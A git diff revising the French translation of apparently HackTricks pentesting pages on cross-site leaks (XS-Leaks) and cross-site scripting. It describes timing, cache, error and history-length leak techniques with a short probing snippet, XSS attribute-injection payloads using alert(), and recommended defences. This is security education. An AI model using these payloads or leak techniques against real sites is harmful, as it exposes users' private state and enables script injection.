 * **Plus d'informations**:
-* **Résumé**: Si la **page** renvoie le **contenu sensible**, ou un **contenu** pouvant être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir un **code JS valide dans le cas négatif**, et charger chaque essai à l'intérieur de balises `<script>`, ainsi dans les cas **négatifs**, le **code** des attaquants est **exécuté**, et dans les cas **affirmatifs**, **rien** ne sera exécuté.
+* **Résumé**: Si la **page** renvoie le **contenu sensible**, ou un **contenu** pouvant être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir un **code JS valide dans le cas négatif**, et charger chaque essai à l'intérieur de balises `<script>`, de sorte que dans les cas **négatifs**, le **code des attaquants est exécuté**, et dans les cas **affirmatifs**, **rien** ne sera exécuté.
 * **Exemple de code**:
 {% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
@ -256,8 +256,8 @@ Cette XS-Leak permet à un attaquant de **détecter quand une page cross-origin
 [event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
 {% endcontent-ref %}
-Le modèle de concurrence de JavaScript est basé sur une [boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), ce qui signifie qu'il ne peut exécuter qu'une tâche à la fois.\
+Le modèle de concurrence de JavaScript repose sur une [boucle d'événements à thread unique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), ce qui signifie qu'il ne peut exécuter qu'une tâche à la fois.\
-En déduisant **combien de temps le code d'une autre origine met à s'exécuter** en mesurant le temps qu'il met à s'exécuter ensuite dans la file d'événements. L'attaquant envoie continuellement des événements à la boucle d'événements avec des propriétés fixes, qui seront finalement envoyés s'il n'y a plus rien dans la file d'événements. D'autres origines envoient des événements à la même file d'événements, et c'est là que l'**attaquant déduit la différence de temps en détectant si un retard s'est produit avec l'une de ses tâches**.
+En déduisant **combien de temps le code d'une autre origine met à s'exécuter** en mesurant le temps qu'il met à s'exécuter ensuite dans la file d'attente des événements. L'attaquant envoie continuellement des événements à la boucle d'événements avec des propriétés fixes, qui seront finalement envoyés s'il n'y a plus rien dans la file d'attente. D'autres origines envoient des événements à la même file d'attente, et c'est là que l'**attaquant déduit la différence de temps en détectant si un retard s'est produit avec l'une de ses tâches**.
 {% hint style="warning" %}
 Lors d'une mesure de temps d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
@ -435,7 +435,7 @@ Cela peut également être fait avec une attaque de synchronisation (consultez l
 ### Cache
 * **Méthodes d'inclusion**: Fetch API
-* **Différence détectable**: Chronométrage
+* **Différence détectable**: Timing
 * **Plus d'informations**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
 * **Résumé**: Détecter si une ressource a été stockée dans le cache.
 * **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
@ -492,7 +492,7 @@ displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err
 audioElement.onerror = errHandler;
 }
 ```
-La propriété message de l'interface **`MediaError`** contient une **chaîne différente pour les ressources qui se chargent avec succès**. Cela permet à un attaquant d'inférer l'état de la réponse pour une ressource de domaine croisé.
+La propriété message de l'interface **`MediaError`** contient une **chaîne différente pour les ressources qui se chargent avec succès**. Cela permet à un attaquant d'inférer l'état de la réponse pour une ressource en provenance d'un autre domaine.
 ### Erreur CORS
@ -502,7 +502,7 @@ La propriété message de l'interface **`MediaError`** contient une **chaîne di
 * **Résumé**: Dans les erreurs CORS SA, l'URL complète des redirections est divulguée.
 * **Exemple de code**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
-Cette technique permet à un attaquant de divulguer la cible d'une redirection initiée par un site de domaine croisé.
+Cette technique permet à un attaquant de divulguer la cible d'une redirection initiée par un site d'origine différente.
 CORS permet aux ressources web accessibles publiquement d'être lues et utilisées à partir de n'importe quel site web. Dans les navigateurs basés sur Webkit, il est possible d'**accéder aux messages d'erreur CORS lorsque la requête CORS échoue**. Un attaquant peut envoyer une requête activée par CORS vers un site cible qui effectue des **redirections** en fonction de l'état de l'utilisateur. Lorsque le navigateur refuse la requête, l'**URL complète de la cible de la redirection est divulguée** dans le message d'erreur. Avec cette attaque, il est possible de détecter les redirections, de divulguer les emplacements des redirections et les paramètres de requête sensibles.
@ -514,27 +514,27 @@ CORS permet aux ressources web accessibles publiquement d'être lues et utilisé
 * **Résumé**: Dans les erreurs CORS SA, l'URL complète des redirections est divulguée.
 * **Exemple de code**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
-Un attaquant peut divulguer la taille des réponses de domaine croisé en raison de **messages d'erreur verbeux**.
+Un attaquant peut divulguer la taille des réponses en provenance d'un autre domaine en raison de **messages d'erreur verbeux**.
-L'attribut d'intégrité définit un hachage cryptographique permettant au navigateur de vérifier qu'une ressource récupérée n'a pas été manipulée. Ce mécanisme de sécurité s'appelle l'intégrité des sous-ressources (SRI). Il est utilisé pour la vérification de l'intégrité des ressources servies à partir de réseaux de diffusion de contenu (CDN). Pour éviter les fuites de données, les ressources de domaine croisé doivent être **activées par CORS**. Sinon, la réponse n'est pas éligible à la validation de l'intégrité. Similaire à l'erreur CORS XS-Leak, il est possible de capturer le **message d'erreur après une requête fetch avec un attribut d'intégrité qui échoue**. Un attaquant peut provoquer **intentionnellement** cette **erreur** sur n'importe quelle requête en spécifiant une **valeur de hachage bidon**. Dans SA, ce message d'erreur divulgue la longueur du contenu de la ressource demandée. Un attaquant peut utiliser cette fuite pour détecter les différences de taille de réponse, ce qui permet des attaques XS-Leak puissantes.
+L'attribut d'intégrité définit un hachage cryptographique permettant au navigateur de vérifier qu'une ressource récupérée n'a pas été manipulée. Ce mécanisme de sécurité s'appelle l'intégrité des sous-ressources (SRI). Il est utilisé pour la vérification de l'intégrité des ressources servies à partir de réseaux de diffusion de contenu (CDN). Pour éviter les fuites de données, les ressources en provenance d'un autre domaine doivent être **activées par CORS**. Sinon, la réponse n'est pas éligible à la validation de l'intégrité. Tout comme l'erreur CORS XS-Leak, il est possible de capturer le **message d'erreur après une requête fetch avec un attribut d'intégrité qui échoue**. Un attaquant peut provoquer **intentionnellement** cette **erreur** sur n'importe quelle requête en spécifiant une **valeur de hachage bidon**. Dans SA, ce message d'erreur divulgue la longueur du contenu de la ressource demandée. Un attaquant peut utiliser cette fuite pour détecter les différences de taille de réponse, ce qui permet des attaques XS-Leak puissantes.
 ### Violation/Détection de CSP
 * **Méthodes d'inclusion**: Pop-ups
 * **Différence détectable**: Code d'état
 * **Plus d'informations**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
-* **Résumé**: Si nous n'autorisons que le site de la victime dans le CSP et qu'il tente de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable.
+* **Résumé**: Si nous autorisons uniquement le site de la victime dans le CSP et qu'il tente de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable.
 * **Exemple de code**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
-Un XS-Leak peut utiliser le CSP pour détecter si un site de domaine croisé a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais en plus, le domaine de la cible de la redirection est divulgué. L'idée de base de cette attaque est de **permettre le domaine cible sur le site de l'attaquant**. Une fois une requête émise vers le domaine cible, il **redirige** vers un domaine de domaine croisé. Le CSP **bloque** l'accès à celui-ci et crée un **rapport de violation utilisé comme technique de fuite**. Selon le navigateur, **ce rapport peut divulguer l'emplacement cible de la redirection**.\
+Un XS-Leak peut utiliser le CSP pour détecter si un site d'origine différente a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais en plus, le domaine de la cible de la redirection est divulgué. L'idée de base de cette attaque est de **permettre le domaine cible sur le site de l'attaquant**. Une fois une requête émise vers le domaine cible, il **redirige** vers un domaine d'origine différente. Le CSP **bloque** l'accès à celui-ci et crée un **rapport de violation utilisé comme technique de fuite**. Selon le navigateur, **ce rapport peut divulguer l'emplacement cible de la redirection**.\
-Les navigateurs modernes n'indiqueront pas l'URL vers laquelle la redirection a été effectuée, mais vous pouvez toujours détecter qu'une redirection de domaine croisé a été déclenchée.
+Les navigateurs modernes n'indiqueront pas l'URL vers laquelle la redirection a été effectuée, mais vous pouvez toujours détecter qu'une redirection d'origine différente a été déclenchée.
 ### Cache
 * **Méthodes d'inclusion**: Frames, Pop-ups
 * **Différence détectable**: Contenu de la page
 * **Plus d'informations**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
-* **Résumé**: Effacez le fichier du cache. Ouvre la page cible et vérifiez si le fichier est présent dans le cache.
+* **Résumé**: Effacez le fichier du cache. Ouvre la page cible et vérifie si le fichier est présent dans le cache.
 * **Exemple de code:**
 Les navigateurs peuvent utiliser un cache partagé pour tous les sites web. Indépendamment de leur origine, il est possible de déduire si une page cible a **demandé un fichier spécifique**.
@ -551,7 +551,7 @@ Si une page charge une image uniquement si l'utilisateur est connecté, vous pou
 Une nouvelle fonctionnalité dans GC permet aux pages web de proposer un CSP en définissant un attribut sur un élément iframe. Les directives de la politique sont transmises avec la requête HTTP. Normalement, le contenu intégré doit explicitement autoriser cela avec un en-tête HTTP, **sinon une page d'erreur est affichée**. Cependant, si l'iframe contient déjà un CSP et que la nouvelle politique n'est pas plus stricte, la page s'affichera normalement.
-Cela permet à un attaquant de détecter une directive CSP spécifique d'une page de domaine croisé, s'il est possible de **détecter la page d'erreur**. Bien que ce bogue soit maintenant marqué comme corrigé, nous avons trouvé une **nouvelle technique de fuite qui peut détecter la page d'erreur, car le problème sous-jacent n'a jamais été résolu**.
+Cela permet à un attaquant de détecter une directive CSP spécifique d'une page d'origine différente, s'il est possible de **détecter la page d'erreur**. Bien que ce bogue soit maintenant marqué comme corrigé, nous avons découvert une **nouvelle technique de fuite qui peut détecter la page d'erreur, car le problème sous-jacent n'a jamais été résolu**.
 ### **CORP**
 * **Méthodes d'inclusion**: Fetch API
@ -671,7 +671,7 @@ En vérifiant `history.length`, en faisant naviguer un utilisateur vers une page
 * **Résumé**: Il est possible de deviner si l'emplacement d'une frame/pop-up est dans une URL spécifique en abusant de la longueur de l'historique.
 * **Exemple de code**: ci-dessous
-Un attaquant pourrait utiliser du code JavaScript pour **manipuler l'emplacement de la frame/pop-up vers une URL devinée** et **le changer immédiatement en `about:blank`**. Si la longueur de l'historique augmente, cela signifie que l'URL était correcte et qu'elle a eu le temps d'**augmenter car l'URL n'est pas rechargée si elle est identique**. Si elle n'a pas augmenté, cela signifie qu'elle a **tenté de charger l'URL devinée** mais parce que nous avons **immédiatement après** chargé **`about:blank`**, la **longueur de l'historique n'a jamais augmenté** lors du chargement de l'URL devinée.
+Un attaquant pourrait utiliser du code JavaScript pour **manipuler l'emplacement de la frame/pop-up vers une URL devinée** et **le changer immédiatement en `about:blank`**. Si la longueur de l'historique augmente, cela signifie que l'URL était correcte et qu'elle a eu le temps d'**augmenter car l'URL n'est pas rechargée si elle est identique**. Si elle n'a pas augmenté, cela signifie qu'elle a **tenté de charger l'URL devinée** mais parce que nous avons immédiatement chargé **`about:blank`** après, la **longueur de l'historique n'a jamais augmenté** lors du chargement de l'URL devinée.
 ```javascript
 async function debug(win, url) {
 win.location = url + '#aaa';
@ -752,10 +752,10 @@ Une preuve de concept a été fournie dans un rapport de Chromium qui fonctionne
 * **Méthodes d'inclusion**: Frames
 * **Différence détectable**: En-têtes
 * **Plus d'informations**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
-* **Résumé**: Dans GC, lorsque l'inclusion d'une page n'est pas autorisée sur une page de provenance différente en raison de **X-Frame-Options, une page d'erreur est affichée**.
+* **Résumé**: Dans GC, lorsque l'accès à une page n'est pas autorisé à être intégré sur une page de provenance croisée en raison de **X-Frame-Options, une page d'erreur est affichée**.
 * **Exemple de code**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
-Dans Chrome, lorsque l'inclusion d'une page n'est pas autorisée sur une page de provenance différente, car l'en-tête **X-FrameOptions** (XFO) est défini sur deny ou same-origin, une **page d'erreur est affichée à la place**. Pour les objets, cette page d'erreur peut être **détectée en vérifiant la propriété `contentDocument`**. En général, cette propriété renvoie null car l'accès à un document intégré de provenance différente n'est pas autorisé. Cependant, en raison du **rendu de Chrome** de la page d'erreur, un **objet de document vide** est renvoyé à la place. Cela ne fonctionne pas pour les iframes ou dans d'autres navigateurs. Les développeurs peuvent oublier de définir X-Frame-Options pour toutes les pages et en particulier les pages d'erreur manquent souvent de cet en-tête. En tant que technique de fuite, un attaquant peut être en mesure de différencier entre différents états d'utilisateur en le vérifiant.
+Dans Chrome, lorsque l'accès à une page n'est pas autorisé à être intégré sur une page de provenance croisée, car l'en-tête **X-FrameOptions** (XFO) est défini sur deny ou same-origin, une **page d'erreur est affichée à la place**. Pour les objets, cette page d'erreur peut être **détectée en vérifiant la propriété `contentDocument`**. En général, cette propriété renvoie null car l'accès à un document intégré de provenance croisée n'est pas autorisé. Cependant, en raison du **rendu de Chrome** de la page d'erreur, un **objet de document vide** est renvoyé à la place. Cela ne fonctionne pas pour les iframes ou dans d'autres navigateurs. Les développeurs peuvent oublier de définir X-Frame-Options pour toutes les pages et en particulier les pages d'erreur manquent souvent de cet en-tête. En tant que technique de fuite, un attaquant peut être en mesure de différencier entre différents états d'utilisateur en le vérifiant.
 ### Détection de téléchargement
@ -767,7 +767,7 @@ Dans Chrome, lorsque l'inclusion d'une page n'est pas autorisée sur une page de
 L'en-tête `Content-Disposition` ([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)) indique si le navigateur doit télécharger le contenu ou l'afficher en ligne.
-Si seulement un utilisateur connecté peut **accéder à une page qui téléchargera un fichier** car elle utilise l'en-tête. Il est possible de détecter ce comportement.
+Si seulement un utilisateur connecté serait en mesure d'**accéder à une page qui téléchargera un fichier** car elle utilise l'en-tête. Il est possible de détecter ce comportement.
 #### Barre de téléchargement <a href="#download-bar" id="download-bar"></a>
@ -834,10 +834,10 @@ Ou vous pouvez simplement **envoyer une requête fetch vers la page potentiellem
 * **Résumé**: Mesurer le temps d'exécution d'un site web en utilisant des service workers.
 * **Exemple de code**:
-1. L'attaquant enregistre un service worker dans l'un de leurs domaines (attacker.com).
+1. L'attaquant enregistre un service worker dans l'un de ses domaines (attacker.com).
 2. Dans le document principal, l'attaquant effectue une navigation (window.open) vers le site cible et demande au service worker de démarrer un minuteur.
 3. Lorsque la nouvelle fenêtre commence à se charger, l'attaquant navigue vers la référence obtenue à l'étape 2 vers une page gérée par le service worker.
-4. Lorsque la requête effectuée à l'étape 3 arrive au service worker, il renvoie une réponse 204 (No Content), ce qui interrompt la navigation.
+4. Lorsque la requête effectuée à l'étape 3 arrive au service worker, celui-ci renvoie une réponse 204 (No Content), ce qui interrompt la navigation.
 5. À ce stade, le service worker collecte une mesure à partir du minuteur démarré à l'étape 2. Cette mesure est affectée par la durée pendant laquelle JavaScript a bloqué la navigation.
 {% hint style="warning" %}
@ -874,13 +874,13 @@ Ici, vous trouverez des techniques pour exfiltrer des informations à partir d'u
 ### Balisage suspendu
-{% content-ref url="dangling-markup-html-scriptless-injection.md" %}
+{% content-ref url="dangling-markup-html-scriptless-injection/" %}
-[dangling-markup-html-scriptless-injection.md](dangling-markup-html-scriptless-injection.md)
+[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
 {% endcontent-ref %}
 ### Chargement différé des images
-Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez consulter les **techniques de balisage suspendu courantes**.\
+Si vous devez **exfiltrer du contenu** et que vous pouvez **ajouter du HTML avant le secret**, vous devriez vérifier les **techniques de balisage suspendu courantes**.\
 Cependant, si pour une raison quelconque vous **DEVEZ** le faire **caractère par caractère** (peut-être que la communication se fait via un cache hit), vous pouvez utiliser cette astuce.
 Les **images** en HTML ont un attribut "**loading**" dont la valeur peut être "**lazy**". Dans ce cas, l'image sera chargée lorsqu'elle sera affichée et non pendant le chargement de la page :
@ -894,7 +894,7 @@ Une autre option serait d'utiliser le **scroll-to-text-fragment** si cela est au
 #### Scroll-to-text-fragment
-Cependant, vous faites en sorte que le **robot accède à la page** avec quelque chose comme
+Cependant, vous pouvez faire en sorte que le **robot accède à la page** avec quelque chose comme
 ```
 #:~:text=SECR
 ```
@ -934,7 +934,7 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
 ## Défenses
-Dans cette section, vous trouverez une partie des atténuations recommandées dans [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), cependant, il existe d'autres atténuations dans chaque section du wiki [https://xsleaks.dev/](https://xsleaks.dev/). Consultez ces ressources pour obtenir plus d'informations sur la façon de se protéger contre ces techniques.
+Dans cette section, vous pouvez trouver une partie des atténuations recommandées dans [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), cependant, il existe d'autres atténuations dans chaque section du wiki [https://xsleaks.dev/](https://xsleaks.dev/). Consultez ces ressources pour obtenir plus d'informations sur la façon de se protéger contre ces techniques.
 ### Atténuations des méthodes d'inclusion
@ -946,15 +946,15 @@ Dans cette section, vous trouverez une partie des atténuations recommandées da
 Méthodes plus génériques :
 * **Métadonnées Fetch**. Ces en-têtes de requête permettent aux propriétaires de serveurs de mieux comprendre comment le navigateur de l'utilisateur a provoqué une requête spécifique. Dans Chrome, les en-têtes Sec-Fetch-\* sont automatiquement ajoutés à chaque requête et fournissent des métadonnées sur la provenance de la requête. Par exemple, Sec-Fetch-Dest: image a été déclenché à partir d'un élément image. Les applications Web peuvent ensuite choisir de bloquer les requêtes en fonction de ces informations.
-* **Cookies Same-Site**. Le drapeau Same-Site pour les cookies permet aux sites Web de déclarer **si un cookie doit être restreint au contexte same-site ou first-party**. Tous les principaux navigateurs prennent en charge les cookies Same-Site. Dans Chrome, les cookies sans cet attribut sont désormais Lax par défaut. Pour les XS-Leaks, **les cookies Same-Site limitent considérablement les possibilités d'attaque de fuite**. En revanche, les techniques de fuite qui reposent sur **`window.open` fonctionnent toujours avec `SameSite=Lax`**. Les sites Web qui utilisent **d'autres méthodes d'authentification**, telles que les certificats côté client et l'authentification HTTP, **restent vulnérables**.
+* **Cookies Same-Site**. Le drapeau Same-Site pour les cookies permet aux sites Web de déclarer **si un cookie doit être restreint au contexte same-site ou first-party**. Tous les principaux navigateurs prennent en charge les cookies Same-Site. Dans GC, les cookies sans cet attribut sont désormais Lax par défaut. Pour les XS-Leaks, **les cookies Same-Site limitent considérablement les possibilités d'attaque de fuite**. En revanche, les techniques de fuite qui reposent sur **`window.open` fonctionnent toujours avec `SameSite=Lax`**. Les sites Web qui utilisent **d'autres méthodes d'authentification**, telles que les certificats côté client et l'authentification HTTP, **restent vulnérables**.
-* **Désolidarisation des identifiants cross-origin (COIU)**. Le COIU, également connu sous le nom d'Isolation de la première partie (FPI), est une fonctionnalité de sécurité facultative que les utilisateurs peuvent activer dans les paramètres avancés de FF (about:config) et qui a été initialement introduite dans le navigateur Tor. Dans une vue abstraite, il s'agit d'un contexte same-site étendu. Il **lie plusieurs ressources** (par exemple, les cookies, le cache, les stockages côté client) **à la première partie** au lieu de les partager entre tous les sites visités. S'il est activé, le COIU réduit considérablement l'applicabilité des XS-Leaks, car seules les méthodes utilisant des pop-ups sont encore possibles pour répondre à l'exigence de la première partie de la politique.
+* **Désolidarisation des identifiants cross-origin (COIU)**. COIU, également connu sous le nom d'Isolation de la première partie (FPI), est une fonctionnalité de sécurité facultative que les utilisateurs peuvent activer dans les paramètres avancés de FF (about:config) et qui a été initialement introduite dans le navigateur Tor. Dans une vue abstraite, il s'agit d'un contexte same-site étendu. Il **lie plusieurs ressources** (par exemple, les cookies, le cache, les stockages côté client) **à la première partie** au lieu de les partager entre tous les sites visités. S'il est activé, COIU réduit considérablement l'applicabilité des XS-Leaks, car seules les méthodes utilisant des pop-ups sont encore possibles pour répondre à l'exigence de la première partie de la politique.
 * **Protections contre le suivi**. Apple a mis en place un mécanisme de confidentialité appelé **Intelligent Tracking Prevention (ITP)** dans SA qui vise à lutter contre le suivi inter-sites en limitant les capacités des cookies et d'autres API Web. Dans les versions plus récentes de SA, ITP bloque tous les cookies tiers par défaut, sans exception \[74]. Ce blocage empêche toutes les fuites qui ne sont pas basées sur des pop-ups. FF a adopté une approche similaire avec Enhanced Tracking Prevention (ETP), mais ils ne bloquent que des cookies tiers spécifiques appartenant à des fournisseurs de suivi. Dans le contexte des XS-Leaks, ETP atténue uniquement les techniques de fuite qui ciblent ces domaines de suivi.
 * **Extensions de navigateur**. Les utilisateurs conscients de la sécurité peuvent utiliser des **extensions de navigateur pour prévenir certaines méthodes d'inclusion**.
 ### Atténuations des techniques de fuite
-* **Gestionnaire d'événements**. L'**atténuation la plus efficace** pour cette technique de fuite serait de **les refuser toutes**, mais cela compromettrait la majorité des applications Web sur Internet. Nous proposons donc de **réduire le nombre d'informations nécessaires qui peuvent être recueillies dans les événements**. Par exemple, l'événement de violation de la CSP ne doit pas contenir l'URL de redirection cible dans le champ blockedURI. Ce comportement est implémenté dans FF et dans les versions plus récentes de GC - seul SA reste vulnérable.
+* **Gestionnaire d'événements**. L'atténuation la plus efficace pour cette technique de fuite serait de **les refuser toutes**, mais cela compromettrait la majorité des applications Web sur Internet. Nous proposons donc de **réduire le nombre d'informations nécessaires qui peuvent être collectées dans les événements**. Par exemple, l'événement de violation de la CSP ne doit pas contenir l'URL de redirection cible dans le champ blockedURI. Ce comportement est implémenté dans FF et dans les versions plus récentes de GC - SA reste vulnérable.
-* **Messages d'erreur**. Pour atténuer les XS-Leaks basées sur la technique de fuite des messages d'erreur, il y a deux exigences majeures. Premièrement, **les messages d'erreur ne doivent pas contenir d'informations détaillées**, de la même manière que les messages des gestionnaires d'événements. Deuxièmement, les navigateurs doivent **minimiser les occurrences de messages d'erreur**. Les XS-Leaks tels que SRI Error, ContentDocument XFO ou Fetch Redirect détectent si un message d'erreur est lancé ou non.
+* **Messages d'erreur**. Pour atténuer les XS-Leaks basées sur la technique de fuite des messages d'erreur, il y a deux exigences majeures. Premièrement, **les messages d'erreur ne doivent pas contenir d'informations détaillées**, de la même manière que les messages des gestionnaires d'événements. Deuxièmement, les navigateurs doivent **minimiser les occurrences de messages d'erreur**. Les XS-Leaks tels que SRI Error, ContentDocument XFO ou Fetch Redirect détectent si un message d'erreur est généré ou non.
 * **Limites globales**. La correction des techniques de fuite qui exploitent les limites globales est relativement complexe car elles reposent sur des restrictions physiques. La recommandation générale est donc de **restreindre les limites globales sur une petite base par site**. Si la limite globale est de 1, comme pour l'API de paiement, l'attaquant peut tenter silencieusement d'activer l'interface utilisateur de paiement Web à tout moment, ce qui réussit uniquement si l'interface utilisateur n'est pas utilisée simultanément par un autre onglet. Nous recommandons d'accéder à l'API de paiement uniquement lorsqu'un événement de confiance a été utilisé. Ainsi, la limite globale est fixée à zéro sauf si l'utilisateur donne son consentement, par exemple en cliquant avec le bouton gauche de la souris sur une fenêtre de dialogue, ce qui fixe la limite globale à un.
 * **État global**. Toute **propriété de l'état global d'un navigateur ne doit pas être accessible**. Par exemple, FF est le seul navigateur qui met à jour l'historique de l'état global lorsqu'une redirection se produit, ce qui entraîne la lecture de history.length. Les navigateurs devraient créer une nouvelle propriété d'historique lorsqu'une redirection se produit au lieu de la stocker globalement. D'autres exemples sont les ressources partagées, telles que les caches. Les fuites de cache exploitent le cache partagé utilisé pour tous les sites ouverts dans un navigateur. Pour atténuer complètement les techniques de fuite de cache, le cache HTTP doit être partitionné sur une base par site, comme cela est mis en œuvre par SA, GC et FF. Notez que dans SA, les iframes ne sont pas affectés par la partition du cache.
 * **API de performance**. Nous avons prouvé que l'API de performance est une excellente technique de fuite. Dans de nombreux XS-Leaks, nous avons pu détecter la différence entre une réponse de requête cross-origin ayant ou n'ayant pas une entrée de performance. Pour une unification, nous recommandons de s'assurer que toutes les requêtes doivent créer une telle entrée et que seul le sous-ensemble correct d'informations de synchronisation est enregistré pour les requêtes cross-origin.
--- a/pentesting-web/xss-cross-site-scripting/README.md
+++ b/pentesting-web/xss-cross-site-scripting/README.md
@ -2,7 +2,7 @@
 /<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
-**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme premium de prime de bug créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
+**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
 {% embed url="https://go.intigriti.com/hacktricks" %}
@ -17,7 +17,7 @@
 2. Pouvez-vous utiliser des événements ou des attributs prenant en charge le protocole `javascript:` ?
 3. Pouvez-vous contourner les protections ?
 4. Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo...), vous pourriez exploiter une [**Injection de modèle côté client**](../client-side-template-injection-csti.md).
-5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous exploiter une [**Injection de balisage en suspens - Injection HTML sans script**](../dangling-markup-html-scriptless-injection.md) ?
+5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous exploiter une [**Injection de balisage en suspens - Injection HTML sans script**](../dangling-markup-html-scriptless-injection/) ?
 2. À l'intérieur d'une **balise HTML** :
 1. Pouvez-vous sortir du contexte HTML brut ?
 2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
@ -139,7 +139,7 @@ Une bonne façon de savoir si quelque chose donné directement par l'utilisateur
 Dans le cas où cela est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
-Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
+Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
 ![](<../../.gitbook/assets/image (662).png>)
@ -284,27 +284,27 @@ Si pour exploiter la vulnérabilité, vous avez besoin que l'utilisateur clique
 ### Impossible - Balisage suspendu
-Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier le **balisage suspendu** car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
+Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier **Dangling Markup** car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
 ## Injection à l'intérieur de la balise HTML
 ### À l'intérieur de la balise/échappement de la valeur de l'attribut
 Si vous êtes à l'intérieur d'une balise HTML, la première chose que vous pourriez essayer est de vous échapper de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
-Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper à l'attribut, vous n'en aurez pas besoin si votre entrée est directement reflétée à l'intérieur de la balise_):
+Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est directement reflétée à l'intérieur de la balise_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 ```
 **Événements de style**
-Les événements de style sont une technique couramment utilisée dans les attaques de script entre sites (XSS) pour exécuter du code malveillant sur un site web. Cette technique exploite les vulnérabilités dans la façon dont le site web gère les entrées utilisateur et les affiche sur la page.
